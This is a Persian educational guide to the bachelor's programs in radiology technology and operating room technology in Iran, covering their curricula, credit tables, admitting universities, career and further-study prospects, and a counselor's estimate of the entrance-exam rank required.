معرفی رشته رادیولوژی+رتبه لازم

کارشناسی تکنولوژی پرتوشناسی

هدف و ماهیت

با تولد این تکنولوژی، بشر از پوست و گوشت گذشت و به اعماق شگفت‌انگیز بدن انسان راه یافت و توانست اجزای بدن را بیشتر در معرض دید و بررسی قراردهد.سخن از دانش‌ رادیولوژی تشخیصی است که در سال‌های اخیر بسرعت پیشرفت کرده و امکانات تشخیص پزشکی را به طور غیرقابل تصوری به پیش رانده است. بی‌شک به کارگیری این دانش‌، نیاز به تخصص ویژه‌ دارد؛

تخصصی که در رشته تکنولوژی پرتوشناسی آموزش داده می‌شود. به عبارت دیگر، رشته تکنولوژی پرتوشناسی، نحوه تصویربرداری از اعضای مختلف بدن را برای تشخیص پزشکی آموزش می‌دهد.دانشجویان این رشته در ابتدا دروس پایه از قبیل فیزیک، آناتومی و فیزیولوژی را مطالعه می‌کنند و سپس دروس تخصصی تصویربرداری پزشکی را می‌آموزند و در همین زمینه با دستگاه‌های تصویربرداری و نحوه کارشان آشنا می‌شوند و پس از ۲ سال می‌توانند به عنوان کاردان تصویربرداری، در بخش‌های رادیولوژی شروع به کار کنند.گفتنی است که اگر مسؤول تکنولوژی رادیولوژی، آموزش لازم را ندیده باشد علاوه بر اینکه پرتوگیری بیمار را بالا می‌برد و به او آسیب می‌رساند، تصاویر مناسبی نیز از اعضای بدن تهیه نمی‌کند. در نتیجه، دکتر رادیولوژیست نمی‌تواند تفسیر مناسبی از تصاویر داشته و از روی آنها تشخیص پزشکی دهد.

تفاوت توانمندی‌های کاردان و کارشناس این رشته نیز در آن است که در تکنولوژی پرتوشناسی از دستگاه‌های متفاوتی استفاده می‌شود و از اعضای مختلف بدن تصویربرداری می‌گردد. برخی از این تصویربرداری‌ها ساده است؛ مثل تصویربرداری از دست، پا و انگشتان، اما برخی از تصویربرداری‌ها تداخلی است؛ مثل تصویربرداری از سیستم‌ گوارش، عروق و ادرار که این‌گونه‌ تصویربرداری‌ها، اختصاصی و نسبتاً دشوار می‌باشد و نیاز به دانش ویژه دارد. در این میان تصویربرداری‌های ساده بر عهده فارغ‌التحصیلان کاردانی و تصویربرداری‌های تخصصی و کار با دستگاه‌های M.R.I و C.P بر عهده فارغ‌التحصیلان کارشناسی است.

عمل تصویر برداری از اندام های مختلف بدن را که توسط اشعه ایکس انجام می شود رادیوگرافی میگویند که از دو کلمه رادیو به معنی اشعه وکلمه گرافی به معنی ثبت کردن میباشد.

کارشناسی رادیولوژی:

برنامه آموزشی مقطع کارشناسی پیوسته و ناپیوسته ,در راستای تربیت کارشناسان پرتو شناسی با توانمندی مناسب جهت استفاده از دستگاه ها و فناوری های جدید در زمینه تصویر برداری پزشکی طراحی شده است .در این دوره دانشجویان تجارب نظری و بالینی در زمینه های مختلف تصویربرداری از روش های ساده و روتین رادیوگرافی تا تکنیک های پیشرفته تصویربرداری از جمله توموگرافی کامپیوتری,تصویربرداری با تشدید مغناطیسی هسته اتم( MRI)،فراصوت و…را بدست آورد. فراگیران طی دوره کارشناسی علاوه برآنکه جنبه های عمومی قانون مراقبت از بیماررافرا می گیرند بایدقوانین مربوط به حفاظت در برابر اشعه رانیزفرابگیرندتا بتواننددر اتاق های رادیوگرافی با کمترین مقداراشعه، تصویربرداری نمایند . دانشجویان در طی دوره کارشناسی با تکنیک های تصویربرداری ودستگاه های تصویربرداری آشنا می شوند ونحوه انجام تکنیکها تصویربرداری ساده تا تصویر برداری پیشرفته (شامل سیستم های دیجیتال ,CT,MRI,سونوگرافی های مدرن و… را فرامی گیرند. انجام پرتونگاری ها با استفاده از مواد کنتراست زای تزریقی و غیر تزریقی تحت نظارت پزشک متخصص و انجام روش های اختصاصی تصویر برداری پزشکی مانند مشارکت در انجام آنژیوگرافی ها و BMD وانجام تمامی امور مربوط به تاریکخانه رادیولوژی و همین طور همکاری و شرکت در فعالیت های پژوهشی پرتوشناسی در زمینه های تشخیصی و درمانی را فرا می گیرند.

توانایی‌های لازم :

کار رادیولوژیست، یک کار بیمارستانی است. از همین رو دانشجوی این رشته باید حس کار در بیمارستان و با بیماران را داشته باشد. همچنین باید بتواند درس‌هایی را که در طول تحصیل به صورت تئوری فرا گرفته، در کار عملی مورد استفاده قرار دهد و در نهایت لازم است که در درس‌های زیست‌شناسی، ریاضی و فیزیک توانمند باشد. تسلط به درس‌های ریاضی و فزیک تا جایی مهم است که برخی از استادان رادیولوژی معتقدند که دانشجوی این رشته باید از بین داوطلبان گروه آزمایشی ریاضی و فنی انتخاب گردد. زیرا بدون آگاهی از اصول فیزیک که بر مبنای آن، کار تصویر‌برداری انجام می‌گیرد، امکان اشتباه در این کار وجود دارد.

موقعیت شغلی در ایران :

کار رادیولوژیست در مقطع کاردانی و کارشناسی یک کار اجرایی است. البته کاردان این رشته بیشتر تصویربرداری ساده مثل تصویربرداری از دست، پا و انگشتان را انجام می‌دهد و کارشناسان این رشته تصویربرداری اختصاصی یا تصویربرداری تداخلی مانند تصویربرداری از دستگاه گوارش یا عروق را بر عهده دارند. در ضمن کار با دستگاه‌هایی مثل توموگرافی و MRI در محدوده فعالیت کارشناس این رشته است.در کل فارغ‌التحصیلان کاردانی این رشته در مؤسسه‌های تصویرنگاری و بیمارستان‌ها می‌توانند به عنوان مسؤول آماده‌سازی دستگاه‌های مختلف رادیوگرافی، انجام عمل رادیولوژی، ظهور و ثبت کلیشه‌های رادیوگرافی فعالیت کنند.

آینده شغلی :

۱-انجام دوره طرح نیروی انسانی بعد از اتمام دوره کارشناسی به مدت دو سال ( به کارگیری نیروهای فارغ التحصیل در مراکز درمانی دولتی جهت آینده شغلی )

۲- جذب در مراکز درمانی مانند بیمارستانها اعم از دولتی یا خصوصی ، درمانگاهها ، کلینیک های رادیولوژی و سایر مراکز تصویر برداری

آینده تحصیلی :

فارغ التحصیلان دوره کارشناسی تکنولوژی پرتوشناسی تشخیصی قادر خواهند بود :

پس از فراغت از تحصیل در دوره کارشناسی ارشد و بالاتر در رشته های فیزیک پزشکی,رادیوبیولوژی وحفاظت پرتویی و آناتومی ادامه تحصیل دهند.

درس‌های این رشته در طول تحصیل:

طول دوره وشکل نظام :

متوسط طول دوره کارشناسی پیوسته رادیولوژی ۴ سال وکارشناسی ناپیوسته ۲ سال می باشد.نظام آموزش آن مطابق آیین نامه آموزشی دوره کاردانی,کارشناسی ناپیوسته و کارشناسی پیوسته مصوب شورای عالی برنامه ریزی, علوم پزشکی می باشد.دروس به صورت علمی وعملی- نظری وکارآموزی عرضه میشود که در طی جلسات متعدد هفتگی آموزش مورد نیاز انجام می یابد

تعداد واحد دوره کارشناسی پیوسته رادیولوژی:

  1. دروس عمومی: ۲۲ واحد
  2. دروس پایه واختصاصی: ۹۲ واحد
  3. کارآموزی در عرصه : ۱۶ واحد

تعداد واحد دوره کارشناسی ناپیوسته رادیولوژی:

  1. دروس عمومی : ۹ واحد
  2. دروس پایه واختصاصی: ۴۴ واحد
  3. کارآموزی در عرصه : ۱۲ واحد

 

دروس پایه:

فیزیک عمومی، تشریح، فیزیولوژی انسان، بهداشت عمومی

دروس اصلی:

کمک‌های اولیه و مراقبت از بیمار در بخش پرتوشناسی، تشریح استخوان و مفاصل، اصطلاحات پرتوشناسی و ترمینولوژی پزشکی.

دروس تخصصی:

فیزیک پرتوها، فیزیک پرتوشناسی تشخصیص، رادیوبیولوژی و حفاظت در برابر پرتوهای یون‌ساز، روش‌های پرتوگاری، رادیوگرافی با ماده حاجب، اصول تاریکخانه، اصول نگهداری و تعمیرات مقدماتی دستگاه‌های پرتوشناسی، ارزیابی تکنیکی فیلم‌های پرتونگاری، کارآموزی بیمارستانی.

نکته: در اعلام سرفصل دروس این رشته از سایت وزارت علوم استفاده شده است.این سرفصل صرفا جهت آشنایی کلی با محتوای دروس است و احتمال تغییرات جزیی وجود دارد.

 

 

دروس عمومی رشته رادیولوژی

نام درس تعداد واحد نام درس تعداد واحد
دو درس ازدروس مبانی نظری اسلام ۴ ادبیات فارسی ۳
یک درس از دروس اخلاق اسلامی ۲ زبان عمومی ۳
یک درس از دروس انقلاب اسلامی ۲ تربیت بدنی ۱ ۱
یک درس ازدروس تاریخ وتمدن اسلامی ۲ تربیت بدنی ۲ ۱
یک درس از دروس آشنایی با منابع اسلامی ۲ جمع ۲۰

 

دروس پایه و اختصاصی رشته رادیولوژی

نام درس تعداد واحد نام درس تعداد واحد
فیزیک عمومی ۳ بهداشت عمومی ۱
ریاضیات عمومی ۱ آمار ۱
زبان تخصصی ۲ آناتومی ۱ ۲
آناتومی ۲ ۲ آناتومی ۳ ۲
فیزیولوژی ۲ زیست شناسی سلولی ۲
آسیب شناسی عمومی ۲ آشنایی با فناوری نوین اطلاعات ۲
کاربرد رایانه در تصویر برداری پزشکی ۲ اخلاق حرفه ای ۱
مدیریت بیمارستانی و رفتار سازمانی ۲ اصطلاحات پزشکی در رادیولوژی ۱
ثبت و نمایش تصاویر در پزشکی ۲ فیزیک پرتوها ۳
فیزیک پرتوشناسی تشخیصی ۳ روشهای پرتونگاری ۱ ۳
روشهای پرتونگاری ۲ ۳ روشهای پرتونگاری ۳ ۲
بیماری شناسی ۲ مراقبت از بیمار در بخش تصویربرداری پزشکی ۲
رادیوبیولوژی ۲ آشنایی با ساختمان و ویژگیهای مواد کنتراست زا در تصویربرداری پزشکی ۲
روشهای پرتونگاری اختصاصی ۲ ارزیابی تصاویر پزشکی ۱ ۲
ارزیابی تصاویر پزشکی ۲ ۲ تصویربرداری با امواج فراصوتی در پزشکی ۳
دوزیمتری پرتوهای یونیزان ۲ آناتومی مقطعی ۳
اصول فیزیکی سیستمهای توموگرافی کامپیوتری ۲ تکنیک ها و جنبه های بالینی توموگرافی کامپیوتری ۲
اصول فیزیکی سیستمهای تصویربرداری MRI ۲ تضمین و کنترل کیفی روشهای تصویربرداری پزشکی ۳
حفاظت در برابر پرتوهای یونیزان در بخشهای پرتوشناسی تشخیصی ۲ تعمیرات و نگهداری مقدماتی دستگاههای رادیولوژی ۲
سمینار ۱ ۱ سمینار ۲ ۱
کارآموزی ۱ ۲ کارآموزی ۲ ۲
کارآموزی ۳ ۲ جمع ۹۲
کارآموزی ۴ ۲

 

دروس کارآموزی در عرصه رشته رادیولوژی

نام درس تعداد واحد نام درس تعداد واحد
کارآموزی در عرصه ۱ ۴ کارآموزی در عرصه ۲ ۴
کارآموزی در عرصه ۳ ۴ جمع ۱۶
کارآموزی در عرصه ۴ ۴

 

دانشگاه هایی که در رشته رادیولوژی پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۳)

دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه دانشگاه علوم پزشکی اصفهان
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندر عباس دانشگاه علوم پزشکی بیرجند
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران دانشگاه علوم پزشکی رفسنجان
دانشگاه علوم پزشکی زاهدان دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان دانشگاه علوم پزشکی کرمان
دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشکده علوم پزشکی بهبهان
دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی ایران  دانشگاه علوم پزشکی جندی شاپور اهواز
دانشگاه علوم پزشکی گناباد

دانشگاه هایی که در رشته رادیولوژی پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۴)

دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه دانشگاه علوم پزشکی اصفهان
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندر عباس دانشگاه علوم پزشکی بیرجند
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران دانشگاه علوم پزشکی رفسنجان
دانشگاه علوم پزشکی زاهدان دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان دانشگاه علوم پزشکی کرمان
دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشکده علوم پزشکی بهبهان
دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی ایران  دانشگاه علوم پزشکی جندی شاپور اهواز
دانشگاه علوم پزشکی گناباد

 

دانشگاه هایی که در رشته رادیولوژی پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۵)

دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه دانشگاه علوم پزشکی اصفهان
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندر عباس دانشگاه علوم پزشکی بیرجند
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران دانشگاه علوم پزشکی رفسنجان
دانشگاه علوم پزشکی زاهدان دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان دانشگاه علوم پزشکی کرمان
دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشکده علوم پزشکی بهبهان
دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی ایران  دانشگاه علوم پزشکی جندی شاپور اهواز
دانشگاه علوم پزشکی گناباد

رشته های ارشد رادیولوژی (بر اساس دفترچه کنکور ارشد علوم پزشکی ۹۵):

فارغ التحصیلان کارشناسی رادیولوژی می توانند در رشته های زیر در مقطع ارشد ادامه تحصیل دهند:

  • رشته مهندسی پزشکی (بیوالکتریک)
  • رشته مهندسی پزشکی (زیست مواد)
  • رشته اپیدمیولوژی
  • رشته ارزیابی فناوری سلامت
  • رشته اقتصاد بهداشت
  • رشته انفورماتیک پزشکی
  • رشته آمار زیستی
  • رشته رادیوبیولوژی و حفاظت پرتویی
  • رشته فناوری اطلاعات سلامت
  • رشته علوم تشریحی
  • رشته فیزیک پزشکی
  • رشته کتابداری و اطلاع رسانی پزشکی
  • رشته مدیریت خدمات بهداشتی درمانی
  • رشته نانوتکنولوژی پزشکی
  • رشته زیست فناوری پزشکی
  • رشته رفاه اجتماعی
  • علوم داروهای پرتو زا
  • تاریخ علوم پزشکی
  • آموزش پزشکی
  • مدیریت برنامه ریزی الکترونیکی در علوم پزشکی
  • فناوری تصویربرداری پزشکی

 

توضیحات تکمیلی استاد محمدی درباره ی این رشته:

همانطور که میدانید این رشته بعداز رشته های پیراپزشکی نظیر هوشبری و اتاق عمل جز رشته ها متناسب و دستیافتنی وهمچنین جز رشته های دارای بازار کار خوب و بنا به تناسب تحصیلات و سابقه ی کار و محل فعالیت میتوان گفت بازار کارعالی خواهد بود.اغلب به این فکر میکنند که بدلیل گران بودن هزینه تجهیزات این رشته در بازار کار نمیتوانند دراین حوزه مستقل شوند اما باید گفت که همه ازاول  مستقل نبودند همانطور که درتوضیحات گفتیم بعد از اتمام درس شما باید حتما تا چندسال در موسسات و مراکز درمانی مرتبط مشغول به کارشوید تا علاوه بر کسب تجربه و سابقه بتوانید خودتان را نیز برای  مستقل شدن وهمچنین همکاری لازم با پزشکی جهت تاسیس مرکز عکسبرداری زمینه سازی کنید.

همچنین باتوجه به امار کنکور ۹۵ و ۹۴ میتوان گفت با رتبه ی بین ۵ تا ۱۰ هزار باتوجه به سهمیه های مختلف (به استثنای سهمیه های خاص) میتوان دراین رشته دردانشگاه های دولتی تحصیل کرد.

لازم بذکرست که دربعضی سایت ها شما رتبه هایی بسیار بالاترازین این عدد تا ۵۰-۶۰ هزار خواهید دید 

باید گفت که این رتبه ها و اعداد ارقام درواقع یک فریب برای جذب و جلب شماست بخصوص که درایام انتخاب رشته کلماتی نظیر سهمیه های پنهان -بارتبه های ۵۰-۶۰ صد هزار پزشکی  و پیراپزشکی قبول شدن و….که همه ی اینها ناشی از سواستفاده عدم اگاهی و اطلاعات کافی شما دانش اموزان نسبت به پروسه انتخاب رشته بوده و ان اعداد اعلامی رتبه ی کشوری داوطلبان بوده که ارزش وتاثیر خاصی درروند انتخاب رشته ندارد.به همین دلیل است که بارها تاکید میشود پروسه کنکور از زمان شروع رقابت کنکور درس خواندن و ازمون سراسری  وبعد ان انتخاب رشته همگی نیازمند وجود یک مشاور اگاه دراین زمینه یک فرد خبره و ازهمه مهمتر راه شناس بوده که بانقشه ی درست راه و فرد به فرد برای شرکت در کنکور و بعدان انتخاب رشته شمارا راهنمایی کند.

معرفی رشته اتاق عمل+رتبه لازم

هدف و ماهیت

 گسترش مراکز بیمارستانی دارای اتاق عمل جراحی و نیاز روزافزون به افراد کاردان برای اداره اتاق‌های عمل جراحی، بیانگر نیاز جامعه به تکنسین اتاق عمل است. افرادی که می‌توانند درمسائل فنی، پزشکان جراح را یاری دهند. فارغ‌التحصیلان این رشته می‌توانند در اتاق عمل به جراحان کمک‌های لازم فنی را ارائه دهند. همچنین این دسته از متخصصان می‌توانند وسائل جراحی و استریل را جهت استفاده آماده نمایند و اداره اتاق عمل را به عهده گیرند.
در سراسر دنیا برنامه اتاق عمل به دو صورت ارائه می شود : در حالت اول دانش آموختگان رشته ی کارشناسی  پرستاری ( پس ازکسب مدرک لیسانس) در یک دوره ۱-۲ ساله برای ورود به اتاق عمل آموزش می بینند. در حالت دوم دانشجویان در مقطع کاردانی آموزش های عمومی دوره اتاق عمل را می گذرانند و برای ایفای نقش به عنوان فرد سیار و اسکراب آماده می شوند و سپس درصورت تمایل در یک دوره ی ۵/۱-۵/۲ ساله برای ایفای نقش به  عنوان کمک اول جراح آماده می شوند.به عنوان مثال با نگاهی به انجمن پرستاران دانشگاه کارولینسکا مشخص می شود که پرستاران پس از طی دوره کارشناسی و اخذ پروانه کار بع صورت RN ، می توانند با گذراندن یک
دوره دانشگاهی مصوب به مدت ۴۵ هفته( تقریبا یکسال ) مدرک تحصیلی اطاق عمل دریافت نموده و به عنوان یک فرد با تجربه در اطاق عمل مشغول به کار گردند.و یا در کالج پرستاران اطاق عمل استرالیا،پرستاران پس از دوره کارشناسی و اخذ پروانه کار به صورت RN می توانند طی یک دوره دانشگاهی مصوب با گذراندن ۲۷ موضوع درسی به صورت پرستار متخصص قبل،حین و بعد از عمل در نقش های پرستار بیهوشی ،پرستار سیرکولیت ، پرستار ثبت ، پرستار تجهیزات ، کمک جراح ، پرستار ریکاوری و بعد از عمل و پرستار بررسی و شناخت و آموزش به بیمار قبل از عمل فعالیت کنند.

نطری براستاندارد های مراقبت از بیماران در انجمن پرستاران اتاق عمل آمریکا نیز نشان می دهد که دانشجویان  دوره های تکنسین اتاق عمل می توانند تا دوره های تخصصی بالاتر ادامه تحصیل دهند . با ذکر این نکته که افراد هر  دوره ای شرح وظایف خاص خود را دارند و نقش افرادی که دوره تخصصی را طی کرده اند با تکنسین اتاق عمل تفاوت  دارد . با نگاهی بر استانداردهای مراقبت از بیمار در انجمن پرستاران اتاق عمل امریکا نی. نشان می دهد که دانشجویان  دوره های تکنسین اتاق عمل می توانند تا دوره های تخصصی بالاتر ادامه تحصیل دهند.با ذکر این نکته که افراد  هر دوره ای شرح وظایف خاص خود را دارند و نقش افرادی که دوره تخصصی را طی کرده اند با تکنسین اطاق عمل تفاوت دارند .با نگاهی به استاندارد های انجمن تکنولوژیست های جراحی (AST) نیز مشاهده می شود که افراد شاغل در اتاق عمل دارای مدارک متقاوتی می باشند به عنوان مثال تکنولوژیست های جراحی برای ایفای نقش اسکراب در سه سطح ۱-۲-۳ آموزش می بینند.در سطح اول فرد در عمل های عمومی وارد می شود در سطح دوم می تواند در عمل های تخصصی تر ایفای نقش نماید و در سطح سوم فرد در حوزه ی مدیریت نیز وارد می گردد.

رشته اتاق عمل درایران درمقطع کاردانی بین سالهای ۱۳۶۶ تا۱۳۸۰ودرمقطع کارشناسی پیوسته وناپیوسته ازسال ۱۳۸۷  دردانشکده های مختلف سطح کشورراه اندازی گردید. این رشته دردانشکده های پیراپزشکی ویاپرستاری به دانشجویان  ارائه میگردد. دراین دانشکده ها گروه اتاق عمل متولی اداره دانشجویان دررشته اتاق عمل میباشد.درکشورایران تاکنون  رشته ای مشابه رشته کارشناسی اتاق عمل وجودنداشته است ودانشجویان دردوره های کاردانی اتاق عمل شروع به  تحصیل نموده ودرصورت تمایل به ارتقاء علمی وعملی خودباشرکت درکنکورکارشناسی ناپیوسته بعنوان پرستاردراتاق عمل یاسایربخشهامشغول بکارمیشوند.

ضرورت وجودحرفه وارتقاء حرفه ای:

تکنولوژیستهای اتاق عمل عضومهمی ازتیمهای بهداشتی بوده که درتماس نزدیک باجراحان ، متخصصان بیهوشی وپرستاران درراستای تامین مراقبتی مطلوب برای بیماران فعالیت میکنندوازآن جا که سنگ زیربنایی رشدوتوسعه یک حرفه ، آموزش آن حرفه میباشد. انتظارمیرودکه تاسال ۲۰۱۲ میزان نیازبه تکنولوژیستهای اتاق عمل سریعترازحدمتوسط افزایش یابد . علت این امرافزایش تعدادوانواع اعمال جراحی ورشدجمعیت ونیزافزایش تعدادونیزافزایش میزان سالمندی است . (زیراافرادسالمندنیازبه اعمال جراحی بیشتری دارند. ازطرفی تغییرات وسیع وچشمگیرموجوددرتکنیکهای جراحی نیازمندهم سطح شدن تکنسینهای جراحی بانقشهاووظایف جدیدبوده وبرنامه آموزشی کنونی برای برآوردن نیازهای پرسنل اتاق عمل درآینده کافی نخواهدبود. وباایجاد رشته کارشناسی اتاق عمل امکان دستیابی به بخشی ازمهارت ودانش موردنظر راپیدا خواهند نمود.
رسالت رشته :

رسالت رشته اتاق عمل درمقطع کارشناسی پیوسته تربیت نیروی انسانی آگاه ، متعهدوکارآمداست.که باکسب توانائیهای حرفه ای دراتاق عمل وبهره مندی ازدانش وتکنولوژی روز، خدمات موردنیازمراقبتی وآموزشی مقرون به صرفه را در بالاترین سطح استانداردجهت تعمیم ، حفظ وارتقاء سطح سلامت بیماروجامعه ارائه دهند.

توانایی فردی موردنیازبرای رشته:

برای انجام استانداردهای این حرفه ، صداقت وپایبندی به اصول اخلاقی ضروری است. یک تکنولوژیست اتاق عمل شایسته بایدنگرشی مراقبتی نسبت به بیمارودیگراعضای تیمهای جراحی ومحیط داشته باشد. وی بعنوان عضوی ازتیم اتاق عمل ، بایدقادرباشدکه باسرعت وبادقت به جزئیات کارکند. قادربه اولویت بندی مسائل درشرایط اورژانس وپراسترس باشد، بنابراین نیازبه افرادی است که احساس مسئولیت شدیدوشخصیت باثبات داشته ، صبوروعلاقمندبه کمک به دیگران بوده وبه نیازهای بیمارودیگراعضای تیم جراحی حساس باشند. وازآن جا که کاردراتاق عمل نیازبه ایستادن برای مدت زمان طولانی وتوانائی برای جابجایی وبلندکردن اشیا سنگین داردوفردرادرمعرض مناظروبوهای ناخوشایند، بیماریهای مسری وموادخطرناک قرارمیدهد ، فرد باید توانائی جسمی لازم راداشته باشد.

امکان ادامه تحصیل درمقاطع بالاتر:

نظربه اینکه این رشته ، رشته ای کاملاً نوپا میباشد. درحال حاضربه نظرمیرسددانش آموختگان این رشته بتواننددرآینده دررشته های مرتبط مانندآناتومی ، فیزیولوژی ، مهندسی تجهیزات پزشکی ، کمک اول جراح و…. ادامه تحصیل دهند. اعضای این گروه امیدوارهستندکه بتوانندباتلاش خوددرجهت ارتقاء واعتلای این حرفه گامی هرچندکوچک بردارند.

فرصت های شغلی :

اغلب تکنولوژیستهای اتاق عمل دربیمارستانها ومراکزمراقبتی سیاراستخدام میشوند. اگرچه بیمارستانها اولین استخدام کننده این گروه میباشنداماانتظارمیروداستخدام آنها درمراکزجراحی سیار، مراکزمراقبتی سرپایی ومطبهای پزشکان افزایش یابد. به هرحال به علت زمینه آموزشی وسیع وتخصصی که این افراددارند، سازمانهای استخدام کننده واین دانش آموختگان میتوانندگزینه های زیررانیزدرنظربگیرند.

تخصص یافتن درزمینه های موردعلاقه مانندجراحی قلب ، ارتوپدی واطفال و….

استخدام توسط یک سازمان پزشکی برای ارائه محصولات آنها

آموزش تکنولوژیست های اتاق عمل .

خدمات نظامی

استخدام بعنوان مشاور

البته برخی ازاین مشاغل نیازبه دوره های آموزشی اضافی دارد.

طول دوره کارشناسی اتاق عمل :

طول دوره کارشناسی پیوسته رشته اتاق عمل ونظام آموزشی آن مطابق آئیننامه آموزشی دوره کارشناسی پیوسته وناپیوسته مصوب شورای عالی برنامه ریزی علوم پزشکی است. مدت تحصیل حداقل ۴سال و حداکثر ۵سال(در شرایط خاص و با موافقت آموزش کل دانشگاه علوم پزشکی مثل مرخصی تحصیلی و……. ) میباشد.

نام درس وتعدادواحدهای درسی :

تعدادکل واحدهای درسی دوره کارشناسی پیوسته رشته اتاق عمل ۱۳۰ واحدوبه شرح زیرمیباشد.

دروس عمومی : ۲۲ واحد ، دروس پایه ، اختصاصی وکارآموزی ۸۴ واحد ، کارآموزی درعرصه : ۲۴ واحد

نکته: در اعلام سرفصل دروس این رشته از سایت وزارت علوم استفاده شده است.این سرفصل صرفا جهت آشنایی کلی با محتوای دروس است و احتمال تغییرات جزیی وجود دارد.

 

دروس عمومی کارشناسی اتاق عمل

نام درس تعداد واحد نام درس تعداد واحد
دو درس ازدروس مبانی نظری اسلام ۴ ادبیات فارسی ۳
یک درس از دروس اخلاق اسلامی ۲ زبان عمومی ۳
یک درس از دروس انقلاب اسلامی ۲ تربیت بدنی ۱ ۱
یک درس ازدروس تاریخ وتمدن اسلامی ۲ تربیت بدنی ۲ ۱
یک درس از دروس آشنایی با منابع اسلامی ۲ جمع ۲۰

 

دروس پایه، اختصاصی و کارآموزی کارشناسی اتاق عمل

نام درس تعداد واحد نام درس تعداد واحد
تشریح ۱ ۲ آشنایی با بیماریهای داخلی ۲
تشریح ۲ ۲ تکنولوژی جراحی در جراحیهای گوارش و غدد ۳
فیزیولوژی ۱ ۲ تکنولوژی جراحی در جراحیهای زنان و ارولوژی  (اداری – تناسلی) ۲
فیزیولوژی ۲ ۱ تکنولوژی جراحی در جراحیهای قلب (قلب و عروق) و تنفس ۲
شیمی آلی و بیوشیمی ۲ تکنولوژی جراحی در جراحیهای اعصاب و ارتوپدی ۳
میکروب شناسی و انگل شناسی ۳ تکنولوژی جراحی در جراحیهای ENT فک  و صورت و چشم ۲
آسیب شناسی ۱ تکنولوژی جراحی در جراحیهای اطفال ۱
خون شناسی و انتقال خون ۲ تکنولوژی جراحی در جراحیهای پوست و سوختگی و پیوند ۱
ایمونولوژی ۲ بیهوشی ۲
آمار حیاتی ۱ روش احیای قلبی و ریوی و اصول مراقبت های ویژه ۳
روش تحقیق در اتاق عمل ۱ اصول پیشرفته مراقبت در اتاق بهبودی ۲
فناوری اطلاعات در اتاق عمل ۲ فوریتها ۱
فیزیک پزشکی و الکتریسیته و رباتیک و کاربرد آن در اتاق عمل ۲ مدیریت در اتاق عمل ۲
روان شناسی عمومی ۳ اخلاق حرفه ای در اتاق عمل ۱
داروشناسی ۱ کارآموزی مهارتهای پرستاری در بخش های داخلی و جراحی ۲
اصطلاحات پزشکی ۲ کارآموزی رفتار در اتاق عمل ۱
زبان تخصصی ۲ کارآموزی بخش استریل مرکزی ۱
بهداشت روان در اتاق عمل ۲ کارآموزی اصول و فنون عملکرد فرد اسکراب و سیار ۲
بهداشت ۲ کارآموزی تکنیک اتاق عمل ۳
اصول و فنون عملکرد فرد سیار ۲ کارآموزی روشهای احیاء قلبی ریوی ۱
اصول و فنون عملکرد فرد اسکراب ۲ کارآموزی اصول مراقبت در اتاق بهبودی ۲
اصول استریلیزاسیون و ضدعفونی ۱ کارآموزی مدیریت در اتاق عمل ۱
آشنایی با وسایل و تجهیزات اتاق عمل ۲ کارآموزی در اتاق عمل اورژانس ۱
مقدمه ای بر تکنولوژی جراحی ۲ جمع ۸۴

 

دروس کارآموزی در عرصه کارشناسی اتاق عمل

نام درس تعداد واحد نام درس تعداد واحد
کارآموزی در عرصه ارتوپدی ۲ کارآموزی در عرصه فک و صورت * ۲
کارآموزی در عرصه اعصاب ۲ کارآموزی در عرصه توراکس * ۲
کاراموزی در عرصه سوختگی و ترمیمی * ۲ کارآموزی در عرصه ENT ۲
کارآموزی در عرصه زنان ۲ کارآموزی در عرصه اطفال  * ۱
کارآموزی در عرصه اورولوژی (ادراری ـ تناسلی) ۲ کارآموزی در عرصه جراحی گوارش و غدد ۲
کارآموزی در عرصه قلب و عروق * ۲ کارآموزی در عرصه در یک حیطه جراحی ( انتخابی) ۱
کارآموزی در عرصه چشم ۲ جمع ۲۴

*دانشگاه هایی  که امکانات کافی جهت ارائه این دروس به صورت کارآموزی در عرصه ندارند ، واحد معادل این کارآموزی ها را به کارآموزی های در عرصه ارتوپدی، زنان، گوارش و غدد و اعصاب اضافه نمایند.
** کارآموزی در عرصه منحصراً در بخش های آموزشی و با حضور مربی صورت می گیرد.

 

 

